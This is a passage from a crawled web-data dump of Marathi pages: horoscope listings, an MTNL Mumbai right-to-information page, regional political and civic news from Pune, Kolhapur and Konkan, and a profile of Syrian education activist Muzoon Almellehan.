"www.tarunbharat.com", "title": "भविष्य Archives - Page 28 of 60 - तरुण भारत | तरुण भारत", "raw_content": "\nपौष महिन्यात लग्न, मुंज वगैरे मंगलकार्ये का करीत नाहीत येत्या 19 डिसेंबरपासून पौष महिना सुरू होत आहे. पौष मासात लग्न, मुंज, वास्तुशांती वगैरे मंगलकार्ये का करीत नाहीत येत्या 19 डिसेंबरपासून पौष महिना सुरू होत आहे. पौष मासात लग्न, मुंज, वास्तुशांती वगैरे मंगलकार्ये का करीत नाहीत त्यामागील पौराणिक संदर्भ काय आहेत त्यामागील पौराणिक संदर्भ काय आहेत असा प्रश्न अनेकांनी विचारलेला आहे. गेल्या काही वर्षापूर्वी यावर सविस्तर लेख प्रसिद्ध केलेला आहे पण तो सर्वांना मिळालेला नाही. त्यामुळे थोडी सुधारणा करून तो लेख पुन्हा दिलेला ...Full Article\nआजचे भविष्य मंगळवार दि. 12 डिसेंबर 2017\nमेष: बाधिक घरात वास्तव्य करु नका विचित्र अनुभव येतील. वृषभः घर जागा व शेतीवाडीसाठी बराच पैसा खर्च कराल. मिथुन: वाहन बिघाडामुळे दुसऱयाच्या घरी वा परगावी वास्तव्य. कर्क: मनोकामना पूर्ती, ...Full Article\nमेष वृश्चिक राशीत बुध वक्री व धनुराशीत सूर्य प्रवेश करीत आहे. या सप्ताहात प्रत्येक ठिकाणी तुम्हाला दुसऱयांच्या कलाने वागावे लागेल. नोकरीत, कामात वाढ होईल. संसारात तुमची जबाबदारी वाढेल. घरात ...Full Article\nआजचे भविष्य शनिवार दि. 9 डिसेंबर 2017\nमेष: प्रेमप्रकरणे निर्माण होण्याची शक्मयता त्यामुळे गैरसमज. वृषभः दुरुस्ती व इतर कामाच्या येणाऱया लोकांकडून माहिती मिळेल. मिथुन: चांगल्या विचारांचा जीवनावर अनुकूल परिणाम. कर्क: प्रवास, लिखाण, पत्र व्यवहार व बँक ...Full Article\nआजचे भविष्य शुक्रवार दि. 8 डिसेंबर 2017\nमेष: आर्थिक व्यवहारात चांगले यश, जागेच्या कामांना गती मिळेल. वृषभः नको त्या गोष्टीकडे मन आकर्षित होईल सावधानता बाळगा. मिथुन: प्रेमप्रकरणे अथवा व्यसन यात गुंतणार नाही याची काळजी घ्या. कर्क: ...Full Article\nआजचे भविष्य गुरुवार दि. 7 डिसेंबर 2017\nमेष: मित्रांच्या सहकार्याने नवीन व्यवसाय सुरु करण्याची संधी. वृषभः नवख्या व्यक्तीच्या हाती वाहन दिल्याने नुकसान होईल. मिथुन: इतरांचे म्हणणे ऐका झालाच तर फायदा होईल. कर्क: शब्दांच्या घोळामुळे अर्थाचा अनर्थ ...Full Article\nकर्म चांगले असेल तर भाग्य देईल साथ बुध. दि. 6 ते 12 डिसेंबर 2017 Courtesy costs nothing but pays much अशा अर्थाची इंग्रजीत एक म्हण आहे. चांगल्या वागणुकीला पैसे ...Full Article\nआजचे भविष्य मंगळवार दि. 5 डिसेंबर 2017\nमेष: कुबेर पूजनाने वास्तूच्या कामात यश मिळेल. वृषभः सर्व कार्यात मानसन्मान, प्रवासात लाभ मिळेल. मिथुन: आर्थिक लाभ, नवनव्या कला शिकाव्याशा वाटतील. कर्क: धनलाभ, आरोग्यात सुधारणा, सर्व कामात यश. सिंह: ...Full Article\nआजचे भविष्य सोमवार दि. 4 डिसेंबर 2017\nमेष: आर्थिक सुबत्ता लाभेल, शत्रू थंड पडतील, वैवाहिक सौख्यात वाढ. वृषभः अनामिक भय, आर्थिक हानी साध्या सुध्या गोष्टीवरुन कलह. मिथुन: प्रवासात अडचणी, हरवाहरवी, शारीरिक व मानसिक ताणतणाव. कर्क: धनलाभ, ...Full Article\nआजचे भविष्य शनिवार दि. 2 डिसेंबर 2017\nमेष: राजकारण व समाजकारण यांच्याशी संबंध येईल. वृषभः नोकरीत मानसन्मान मिळेल, वैवाहिक सौख्यात आनंदी घटना. मिथुन: वस्त्रप्रावरणे आणि किमती वस्तू खरेदीचा योग. कर्क: वाहन अपघात, शॉक लागणे यापासून जपावे. ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00390.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://mtnlmumbai.in/marathi/index.php/%E0%A4%AE%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%80%E0%A4%9A%E0%A4%BE-%E0%A4%85%E0%A4%A7%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B0", "date_download": "2018-09-25T17:52:41Z", "digest": "sha1:H3Z4SC6DPCKBBNOP57EWS7SEXUZGUKIW", "length": 8234, "nlines": 145, "source_domain": "mtnlmumbai.in", "title": "माहितीचा अधिकार", "raw_content": "\nआमच्या विषयी |कॉरपॉरेट माहिती | बिल पहा आणि भरा |सेवा केंद्र | निविदा |\nजीएसएम प्रिमियम नंबर बिडिंग\nवेगवान एफटीटीएच व व्हीडीएसएल योजना\nस्तटिक आयपी/ आयपी पूल\nट्राय फॉरमेट ब्रॉडबैंड टेरिफ\nहाय रेंज व्हाय फ़ाय मॉडेम\nएफटीटीएच रेव्हन्यु शेअरींग पॉलीसी\nआयएसडीएन(पीआरआय / बीआरआय) सेवा\nएमएसआयटीएस डाटा सेंटर, चेन्नई\nयूनिवर्सल एक्सेस नंबर (युएएन)\nलैंडलाइन प्रिमियम नंबर बिडिंग\nजीएसएम प्रिमियम नंबर बिडिंग\nकिरकोळ विक्रेता स्टॉक खरेदी\nमाहितीचा अधिकार (आरटीआय )\n१. अर्ज कसा करावा\nआम्ही को-या कागदावरील अर्ज स्वीकारतो. आवेदक लिखित स्वरुपात किंवा फॅक्स अथवा इंटरनेट वर इंग्लिश किंवा हिंदी किंवा स्थानीय भाषेत अर्ज करु शकतात.\n१ अर्जाचे मूल्य रु.१०/- एमटीएनएल काउंटर वर भरावे\n२ अधिक पृष्ठ प्रत्येक पृष्ठाकरीता रु. २ /- ए-४ किंवा ए-३ आकाराचे कागद\n३ मोठे पृष्ठ वास्तविक मूल्य\n४ नमूना किंवा मॉडेल वास्तविक मूल्य\nपहिल्या तासांकरीता कोणतेही मूल्य नाही. प्रत्येक अधिक १५ मिनिटांकरीता रु.५/-\n३. भरणा करण्याचे प्रकार\nयोग्य पावतीची रोख रकम.\nलेखाधिकारी, एमटीएनएलच्या नावे डिमांड ड्रॉफ्ट\nलेखाधिकारी, एमटीएनएलकरीता देय बैंक चेक\nलेखाधिकारी, एमटीएनएलच्या नावे भारतीय पोस्टल आर्डर\nजनसूचना अधिकारीच्या सूचीकरीता येथे क्लिक करा.\nसूचना अधिकार-अधिनियमच्या पूर्ण माहितीकरता येथे क्लिक करा\nसेक्शन ४(१)(ब)च्या अन्तर्गत सूचना अधिकार-अधिनियमाच्या माहितीकरता येथे क्लिक करा..\nसेक्शन ४ ( टी) (सी) च्या अंर्तगत सूचना अधिकार म्हणजे एमटीएनएल मुंबई च्या दरपत्रकासाठी येथे क्लिक करा\nसेक्शन ४ ( टी) (डी )च्या अंर्तगत सूचना अधिकार म्हणजे दूरसंचार ग्राहक तक्रार निवारण नियमन -२०१२ ( TCCRR) करीता येथे क्लिक करा\nसेक्शन ४ ( टी) (डी )च्या अंर्तगत सूचना अधिकार म्हणजे दूरसंचार ग्राहक तक्रार संरक्षण नियमन -२०१२ ( TCPR) करीता येथे क्लिक करा\nवेबसाईट धोरणे / अटी आणि नियम\nहे महानगर टेलिफोन निगम लिमिटेड मुंबईचा अधिकृत संकेतस्थळ आहे, जे भारत सरकारच्या कम्युनिकेशन मंत्रालयाच्या अंतर्गत काम करत आहे.\nYou are here: Home माहितीचा अधिकार", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00391.warc.wet.gz", "language": "mr", "language_score": 0.69, "bucket": "all"} {"url": "http://pclive7.com/tag/nawab-malik/", "date_download": "2018-09-25T17:59:19Z", "digest": "sha1:H5CG6XWYENMZ4USZF73NYIJJD74MLT5E", "length": 3510, "nlines": 48, "source_domain": "pclive7.com", "title": "Nawab Malik | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nनवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा गिरीश बापट यांनी मागे घेतला\nपुणे (Pclive7.com):- राष्ट्रवादी काँग्रेसचे प्रवक्ते नवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा अन्न व नागरी पुरवठा मंत्री गिरीश बापट यांनी आज मागे घेतला. तूरडाळ व्यवहार प्रकरणात पुण्या...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00391.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://www.loksatta.com/kolhapur-news/ncp-agitation-started-in-western-maharashtra-1656153/", "date_download": "2018-09-25T17:14:06Z", "digest": "sha1:Q4D4TXD2LMAK5MVNKJHELQQIA2ZHVUAP", "length": 17148, "nlines": 206, "source_domain": "www.loksatta.com", "title": "NCP agitation started in western Maharashtra | राष्ट्रवादीच्या पश्चिम महाराष्ट्रातील आंदोलनाला सुरुवात | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nराष्ट्रवादीच्या पश्चिम महाराष्ट्रातील आंदोलनाला सुरुवात\nराष्ट्रवादीच्या पश्चिम महाराष्ट्रातील आंदोलनाला सुरुवात\nअलीकडच्या काही वर्षांमध्ये राष्ट्रवादीची मांड ढिली होऊ लागल्याचे चित्र आहे.\nस्थानिक नेत्यांचा परस्परांवरील ‘हल्लाबोल’ संपुष्टात आणणे हेच आव्हान\nपुन्हा सत्तेत येण्याचे वेध लागलेल्या राष्ट्रवादी काँग्रेसने राज्यातील सत्ताधाऱ्यांच्या विरोधात हल्लाबोल यात्रेच्या निमित्ताने आघाडी उघडली आहे. पक्षाची मुळे घट्ट करण्याचाही प्रयत्न सुरू असला तरी कोल्हापूर जिल्ह्य़ातील स्थानिक नेत्यांनी एकेमेकांवर सुरू केलेला हल्लाबोल संपुष्टात आणणे हेच खरे आव्हान आहे. शरद पवार यांच्या दोन महिन्यांपूर्वी झालेल्या दौऱ्यात कोणालाही कानपिचक्या दिल्या गेल्या नसल्याने गटबाजी करणारे स्थानिक नेते परस्परांवर चिखलफेक करण्यात मश्गुल आहेत. माजी मंत्री हसन मुश्रीफ आणि खासदार धनंजय महाडिक यांच्यातील वाद, तालुकापातळीवरील नेत्यांमध्ये असलेली अस्वस्थता- गटबाजी, भाजपात प्रवेशाची शक्यता यामुळे पक्ष संघटना बळकट होण्याऐवजी मतभेदच प्रकर्षांने समोर येत आहे.\nकोल्हापूर जिल्ह्य़ात राष्ट्रवादीचे अस्तित्व भक्कम आहे. लोकसभा, विधानसभा, स्थानिक स्वराज्य संस्था, सहकारी संस्था यामध्ये विजय मिळवत स्थान मजबूत करण्याचा प्रयत्न राहिला. मात्र, अलीकडच्या काही वर्षांमध्ये राष्ट्रवादीची मांड ढिली होऊ लागल्याचे चित्र आहे. त्याला स्थायिक नेत्यांमधील लाथाळ्या कारणीभूत ठरल्या. हा प्रकार निदर्शनास येऊनही वरिष्ठ नेत्यांनी त्याकडे कानाडोळा केला. परिणामी गटबाजी फोफावत राहिली आणि पक्षाचे स्थान कमकुवत होत चालले.\nमंडलिक, मुश्रीफ, महाडिक वाद आणि फेरमांडणी\nकोल्हापूर जिल्हा मध्यवर्ती सहकारी बँकेचे अध्यक्ष, आमदार हसन मुश्रीफ यांच्याकडे जिल्ह्य़ाच्या राष्ट्रवादीची नेतृत्वाची सूत्रे एकवटली. याच बँकेच्या कारभारावरून दिवंगत खासदार सदाशिवराव मंडलिक व हसन मुश्रीफ या गुरु-शिष्यांमधील टोकाचा संघर्ष जिल्ह्य़ाने अनुभवला. डिसेंबर २००६ मध्ये दोघांतील संघर्ष चिघळला. मंडलिक संसदेत तर, मुश्रीफ विधानसभेत पोहचले. खासदारविरुद्ध आमदार हा वाद आता नव्याने रंगला आहे. विरोधी गोटात राहून ३-४ वर्षांचा काळ लोटला तरी जिल्ह्य़ातील राष्ट्रवादीमध्ये गटबाजीचे लोण वाढतच आहेत. सहकारी संस्था, स्थानिक स्वराज्य संस्था येथील सत्ता पक्षाने गमावली आहे . आता तर हसन मुश्रीफ आणि खासदार धनंजय महाडिक यांच्यातील वाद टोकाला जाताना दिसत आहे . महाडिक यांना चुरशीच्या लढतीत निवडून आणले पण ते पक्ष संघटन करण्याच्या कामात कसलेच योगदान देत नाहीत, उलट त्यांच्या कल भाजपाकडे आहे, अशी टीका मुश्रीफ यांच्याकडून केली जाते . महाडिक यावर काहीच स्पष्टपणे बोलत नसल्याने त्यांच्याविषयीची गूढ आणखी गंभीर होत आहे . अलीकडे तर मुश्रीफ यांनी दिवंगत मंडलिक यांचे सुपुत्र जिल्हा परिषदेचे माजी अध्यक्ष , शिवसेनेचे पश्चिम महाराष्ट्र सहसंपर्क प्रमुख संजय मंडलिक यांना लोकसभा निवडणुकीत विजयी करण्याचा जणू विडाच उचलला आहे . मुश्रीफ यांच्या विधानामुळे पक्ष कार्यकर्तेही संभ्रमात आहेत.\nसत्ता नसल्याने राष्ट्रवादीमध्ये बैचेनी आहे. राज्यस्तरीय आणि स्थानिक नेते लक्ष देत नसल्याने नाराजी वाढत आहे. माजी खासदार निवेदिता माने, त्यांचे पुत्र धैर्यशील माने, पक्षाचे सरचिटणीस राजेंद्र पाटील यड्रावकर, मानसिंगराव गायकवाड आदी प्रमुख कामकाज पद्धतीवर नाखूष आहेत. खासदार महाडिक, आमदार संध्यादेवी कुपेकर हे पक्ष बांधणीत सक्रिय नसल्याची खंत कार्यकर्त्यांना आहे. अशातच महाडिक आणि कुपेकर यांची कन्या नंदाताई बाभुळकर या भाजपच्या वाटेवर असल्याच्या चर्चेने अस्वस्थेत भर पडत आहे. आश्वासक वातावरण नसेल तर पक्षात इनकमिंग कसे होणार हा प्रश्न आहे. हल्लाबोल यात्रेच्या निमित्ताने सत्ताधाऱ्यांना नमवण्याची गर्जना होणार असली तरी स्थानिक विवादाला आवर घालणे आणि आगामी निवडणुकांसाठी उमेदवार शोधणे हे आव्हान अजित पवारांपासून ते प्रदेशाध्यक्ष सुनील तटकरे यांच्यापर्यंत सर्वासमोर आहे .\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00392.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Grow-Maharashtra-glorious-tradition/", "date_download": "2018-09-25T17:36:27Z", "digest": "sha1:6USOYV6IPY4ZIP44YWERQZV5WXOHROCC", "length": 5557, "nlines": 36, "source_domain": "www.pudhari.news", "title": " महाराष्ट्राची गौरवशाली परंपरा वृद्धिंगत करुया : ना. केसरकर | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › महाराष्ट्राची गौरवशाली परंपरा वृद्धिंगत करुया : ना. केसरकर\nमहाराष्ट्राची गौरवशाली परंपरा वृद्धिंगत करुया : ना. केसरकर\nमहाराष्ट्राची गौरवशाली परंपरा वृद्धिंगत करुया, असे अवाहन पालकमंत्री दीपक केसरकर यांनी केले. महाराष्ट्र राज्य स्थापनेचा 58 वा वर्धापन दिनानिमित्त येथील पोलीस परेड ग्राऊंडवर ध्वजवंदनाचा कार्यक्रम पार पडला, त्यावेळी ते बोलत होते. पालकमंत्र्यांसह रत्नागिरीचे अतिरिक्‍त जिल्हाधिकारी बाबासाहेब बेलदार, जिल्हा पोलीस अधीक्षक दीक्षितकुमार गेडाम, उपमुख्य कार्यकारी अधिकारी कमलाकर रणदिवे, कुडाळचे प्रांताधिकारी विकास सूर्यवंशी आदी उपस्थित होते.\nमहाराष्ट्र राज्य निर्मितीसाठी 107 जणांनी प्राणांची आहुती दिली. त्यांना अभिवादन करुया, असे सांगून पालकमंत्री म्हणाले. आपणा सर्वांच्या सहकार्यातून आपल्या जिल्ह्याची वैभवशाली आणि गौरवशाली परंपरा अधिक वृध्दींगत करण्याचा संकल्प आज करुया. या निमित्ताने एका लक्षणीय घटनेची मी नेहमी आठवण करतो ती म्हणजे सिंधुदुर्ग जिल्ह्याची निर्मिती 1 मे 1981 रोजी बरोबर 37 वर्षांपूर्वी झाली. आज सिंधुदुर्ग स्वच्छता, पर्यंटन, शिक्षण यासारख्या अनेक महत्त्वाच्या क्षेत्रांमध्ये महाराष्ट्र राज्याला दिशादर्शक अशी कामे करत आहे असे ते म्हणाले. यावेळी पोलिस, महिला पोलिस दल, गृहरक्षक दल, महिला गृहरक्षक दल, वन विभाग यांनी शानदार संचलन केले. तसेच वज्र वाहन, श्वान पथक, दंगल नियंत्रण पथक व जलद प्रतिदास पथकानेही संचलनामध्ये सहभाग घेतला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00393.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/rajan-shethy-Filing-of-nominations-in-shivsena/", "date_download": "2018-09-25T17:55:14Z", "digest": "sha1:QQLXORVI6HA7WNJJDUHRBTYQTX4KUX4Q", "length": 5764, "nlines": 36, "source_domain": "www.pudhari.news", "title": " सेनेच्या राजन शेट्येंचा उमेदवारी अर्ज दाखल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › सेनेच्या राजन शेट्येंचा उमेदवारी अर्ज दाखल\nसेनेच्या राजन शेट्येंचा उमेदवारी अर्ज दाखल\nरत्नागिरी : विशेष प्रतिनिधी\nशक्‍ती प्रदर्शन करीत शिवसेनेचे राजन शेट्ये यांनी प्रभाग क्र. 3 च्या पोटनिवडणुकीचा उमेदवारी अर्ज भरला. उमेदवारी अर्ज भरण्याच्या शेवटच्या दिवशी म्हणजे सोमवारी उमेदवारी अर्ज भरताना नगराध्यक्ष राहुल पंडित, गटनेते प्रदीप साळवी, शहरप्रमुख बिपीन बंदरकर यांच्यासह सेनेचे सर्व नगरसेवक, पदाधिकारी उपस्थित होते. मंगळवारी सकाळी 11 पासून आलेल्या अर्जांची छाननी सुरू होणार आहे.\nप्रभाग क्र. 3 ची पोटनिवडणूक 6 एप्रिल रोजी होणार आहे. 7 एप्रिलला मतमोजणी होणार आहे. या निवडणुकीचे उमेदवारी अर्ज भरण्याचा सोमवार शेवटचा दिवस होता. या दिवशी शिवसेनेचे उमेदवार राजन शेट्ये यांनी अर्ज दाखल केला. यावेळी सेनेच्या नगरसेवकांसह जि. प. सदस्य, बेसिक व युवा सेना पदाधिकारीही उपस्थित होते. त्याचबरोबर प्रभागातील मतदार व शिवसैनिकांनीही हजेरी लावली. सहायक निवडणूक निर्णय अधिकारी तथा मुख्याधिकारी अरविंद माळी यांच्याकडे अर्ज दाखल करण्यात आला.\nपोटनिवडणुकीसाठी यापूर्वी भाजपचे उमेदवार वसंत पाटील, राष्ट्रवादीकडून सनिफ गवाणकर यांचे नामनिर्देशन पत्रे दाखल झाली आहेत. त्याचबरोबर सेना उमेदवार राजन शेट्ये यांचे सुपुत्र प्रसाद शेट्ये यांनीही अपक्ष उमेदवारी अर्ज दाखल केला आहे. मंगळवारी सकाळी 11 पासून नामनिर्देशनपत्रांची छाननी सुरू होणार आहे. नगरपरिषदेच्या सभागृहात ही छाननी होणार आहे. यावेळी राजन शेट्ये यांचा उमेदवारी अर्ज वैध ठरल्यानंतर प्रसाद शेट्ये आपली उमेदवारी मागे घेतील, असे सांगण्यात आले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00393.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/a8253bd99b/mujhuna-alamelhana-siriyaci-malaya-sadicchaduta-the-young-are-becoming-", "date_download": "2018-09-25T17:58:48Z", "digest": "sha1:UZ76XVGFQK5QDJCXZK3HSMMWFFPH4ZWR", "length": 8540, "nlines": 80, "source_domain": "marathi.yourstory.com", "title": "मुझून अलमेल्हान, 'सिरीयाची मलाया' बनल्या आहेत सर्वात तरूण सदिच्छादूत!", "raw_content": "\nमुझून अलमेल्हान, 'सिरीयाची मलाया' बनल्या आहेत सर्वात तरूण सदिच्छादूत\nमुझून अलमेल्हान, १९ वर्षीय शिक्षण कार्यकर्ती, युनिसेफच्या यूएन चिल्ड्रन फंड साठी पहिल्या वहील्या अधिकृत निर्वासित सदिच्छादूत म्हणून नियुक्त झाल्या आहेत.\nयाशिवाय त्या युनिसेफच्या सर्वात नव्या आणि तरूण सदिच्छादूत म्हणून जागतिक निर्वासीत दिनी नियुक्ती मिळवणा-या कार्यकर्ती ठरल्या आहेत. याबाबत बोलताना त्या म्हणाल्या की, “ लहान मुल म्हणूनही, मला माहिती होते की शिक्षण हेच माझे भविष्य आहे, त्यामुळे ज्यावेळी मी सिरीया सोडले त्यावेळी देखील मी माझ्यासोबत केवळ माझी पुस्तके घेतली. निर्वासीत म्हणून मी पाहिले की, लहान मुलांना कशी बळजोरी करून लग्न लावले जाते किंवा त्यांचा बालकामगार म्हणून वापर करून घेतला जातो. त्यांचे शिक्षण बंद होते, आणि भविष्यात यातून बाहेर जाण्याचा मार्ग देखील”.\nजॉर्डनमध्ये ज्यावेळी त्यांना आपला निर्वासीत तळ सोडावा लागला त्यावेळी त्यांना युनिसेफने मदत केली, कै ऑन्ड्री हेपबर्न यांच्या मार्गाने ज्यांना युनिसेफचा पाठींबा होता, आणि नंतर जे त्यांचे सदिच्छादूत होते, त्या सहीसलामत तेथून निघाल्या.\nसिरीयात २०१३मध्ये आणिबाणी निर्माण झाली त्यावेळी मुझनून यांनी जॉर्डन मध्ये निर्वासीत म्हणून तीन वर्ष घालविली, त्यावेळी त्या कुटूंबियासोबत जॉर्डनच्या झा तारी कॅम्प येथे रहात होत्या. त्यांनी मुलांच्या शिक्षणाचे हक्क आणि अधिकारांसाठी पुढाकार घेण्यास सुरूवात केली, विशेषत: मुलींच्या हक्कासाठी. त्यानंतर त्या ब्रिटनला गेल्या मात्र त्यांनी आपले हे काम बंद केले नाही.\nनुकतेच त्या युनिसेफ सोबत चाढ येथे दौ-यावर जावून आल्या, तेथे त्यांनी शिक्षणाबाबत जागृतीसाठी संदेश दिला, जेथे खूप कमी मुलांना आणि मुलींना शिक्षणाची संधी आहे.\nसर्वसाधारणपणे सिरीयाची मलाया म्हणून ओळखल्या जाण-या त्यांनी सातत्याने या मुलांच्या शिक्षणाच्या हक्कासाठी आवाज उठविण्याचे काम केले आहे, जेथे आणिबाणीच्या स्थिती मध्ये शिक्षणाची हेळसांड केली जात आहे. जरी त्या सध्या ब्रिटन मध्ये रहात असल्या तरी त्यांना पत्रकार होवून त्यांच्या मायदेशी जायचे आहे आणि तेथील लोकांना मदत करायची आहे. याबाबत एक वृत्ता नुसार त्या म्हणाल्या की, “ मला सिरीयाच्या फेरबांधणीसाठी जायचे आहे, तेथे डॉक्टर, अभियंता, वकील, आणि पत्रकार यांची गरज आहे, जेणेकरून लोकांना हे माहिती होईल की अजूनही आशा आहे चांगले काही होवू शकते”.\nजागतिक निर्वासीत दिनी, जगभरातील लोक आपल्यासारख्याच माणसांना जे त्यांच्या देशातून परागंदा झाले आहेत त्यांना माणुसकीचे दर्शन घडवितात. हा दिवस त्यासाठी देखील साजरा केला जातो की या लोकांना बळ आणि शक्ति मिळावी की ते लाखो निर्वासीत लढा देवून त्याच्या मायदेशी पुन्हा सुखरूप परत जावे.\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": 